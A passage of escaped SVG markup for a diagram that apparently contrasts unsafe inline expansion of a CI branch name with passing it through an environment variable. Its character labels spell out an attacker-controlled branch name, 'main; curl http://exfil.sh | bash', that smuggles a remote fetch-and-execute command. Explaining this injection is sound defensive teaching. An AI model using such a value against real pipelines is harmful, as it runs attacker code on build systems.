360,368 L 360,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,112 L 432,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,256 L 448,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,336 L 448,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,0 L 496,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,80 L 496,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 504,56 L 504,72' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,208 L 528,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 528,400 L 528,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 536,304 L 536,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,160 L 552,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,336 L 552,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 552,400 L 552,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,304 L 560,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,376 L 560,392' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,144 L 128,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='144.000000,144.000000 132.000000,138.399994 132.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 128.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='152.000000,272.000000 140.000000,266.399994 140.000000,277.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='152.000000,352.000000 140.000000,346.399994 140.000000,357.600006' fill='currentColor' transform='rotate(90.000000, 144.000000, 352.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 432,144 L 432,152' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='448.000000,144.000000 436.000000,138.399994 436.000000,149.600006' fill='currentColor' transform='rotate(90.000000, 432.000000, 144.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='456.000000,288.000000 444.000000,282.399994 444.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 448.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='456.000000,368.000000 444.000000,362.399994 444.000000,373.600006' fill='currentColor' transform='rotate(90.000000, 448.000000, 368.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 464,48 A 16,16 0 0,1 480,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 480,64 A 16,16 0 0,1 464,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 520,288 A 16,16 0 0,1 536,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 536,320 A 16,16 0 0,1 520,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 520,368 A 16,16 0 0,1 536,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='56' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='372' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='388' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='404' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='420' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='372' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='388' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='420' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='308' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='420' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='404' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='420' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='372' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='388' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='404' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='420' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='308' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='388' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='404' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='180' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='308' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='372' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='404' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='420' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='308' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='372' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='420' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='308' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='372' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='388' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='420' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='308' fill='currentColor' style='font-size:1em'\u003e;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='372' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='388' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='372' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='420' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='372' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='404' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='228' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='308' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='372' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='180' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='372' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='404' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='308' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='372' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='404' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='420' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='228' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='372' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='404' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='228' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='404' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='228' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003e;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='228' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='308' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='324' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='388' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='404' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='420' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='324' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='388' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='404' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='420' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='308' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='324' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='404' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='228' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='308' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='324' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='388' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='404' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='324' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='388' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='228' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='324' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='404' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='228' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='308' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='324' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='388' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='404' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='244' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='324' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='388' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='404' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='420' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='308' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='324' fill='currentColor' 